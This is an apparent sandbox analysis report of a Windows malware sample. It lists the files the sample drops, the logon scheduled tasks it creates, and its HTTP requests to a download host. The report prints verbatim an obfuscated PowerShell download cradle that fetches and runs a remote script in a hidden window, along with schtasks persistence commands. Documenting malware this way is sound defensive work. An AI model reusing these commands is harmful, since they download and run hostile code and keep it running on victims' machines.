Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\sogou
- <SYSTEM32>\tasks\trar
Malicious functions
Creates and executes the following
- 'C:\users\public\update\program files\run.exe' C:\Users\Public\update\Program Files\Tcmd.exe /C start /MIN C:\Users\Public\update\tttQQPCDownload_home_310056.exe -NoExit -nop -w hidden -c $c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(...
- 'C:\users\public\update\program files\tcmd.exe' /C start /MIN C:\Users\Public\update\tttQQPCDownload_home_310056.exe -NoExit -nop -w hidden -c $c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://wj.nbclass.org/yk1/ps1.txt'')'.Replac...
- 'C:\users\public\update\tttqqpcdownload_home_310056.exe' -NoExit -nop -w hidden -c $c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://wj.nbclass.org/yk1/ps1.txt'')'.Replace('123','adString');IEX ($c1+$c2)
Modifies file system
Creates the following files
- C:\users\public\update\program files\tcmd.exe
- C:\users\public\update\tttqqpcdownload_home_310056.exe
- C:\users\public\update\program files\run.exe
- C:\users\public\update\rar.exe
- C:\users\public\update\sogou.exe
- C:\users\public\update\403.jpg
- C:\users\public\update\hwsignature.dll
- C:\users\public\update\sogou.lnk
- C:\users\public\update\c.jpg
Network activity
Connects to
- 'wj.##class.org':80
TCP
HTTP GET requests
- http://wj.##class.org/run1.txt
- http://wj.##class.org/yk1/ps1.txt
- http://wj.##class.org/rar.exe
- http://wj.##class.org/sogou.exe
- http://wj.##class.org/403.jpg
- http://wj.##class.org/HWSignature.dll
- http://wj.##class.org/sogou.lnk
- http://wj.##class.org/yk1/c.jpg
UDP
- DNS ASK wj.##class.org
Miscellaneous
Creates and executes the following
- 'C:\users\public\update\program files\run.exe' C:\Users\Public\update\Program Files\Tcmd.exe /C start /MIN C:\Users\Public\update\tttQQPCDownload_home_310056.exe -NoExit -nop -w hidden -c $c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(...' (with hidden window)
- 'C:\users\public\update\program files\tcmd.exe' /C start /MIN C:\Users\Public\update\tttQQPCDownload_home_310056.exe -NoExit -nop -w hidden -c $c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://wj.nbclass.org/yk1/ps1.txt'')'.Replac...' (with hidden window)
- '%WINDIR%\syswow64\svchost.exe' -360' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /sc onlogon /tn Sogou /rl highest /tr C:\Users\Public\Update\sogou.exe /F
- '<SYSTEM32>\schtasks.exe' /create /sc onlogon /tn Trar /rl highest /tr "cmd /C start /MIN C:\Users\Public\Update\rar.exe x -y -p123 C:\Users\Public\Update\403.jpg C:\Users\Public\Update" /F
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -s -NoLogo -NoProfile
- '%WINDIR%\syswow64\svchost.exe' -360
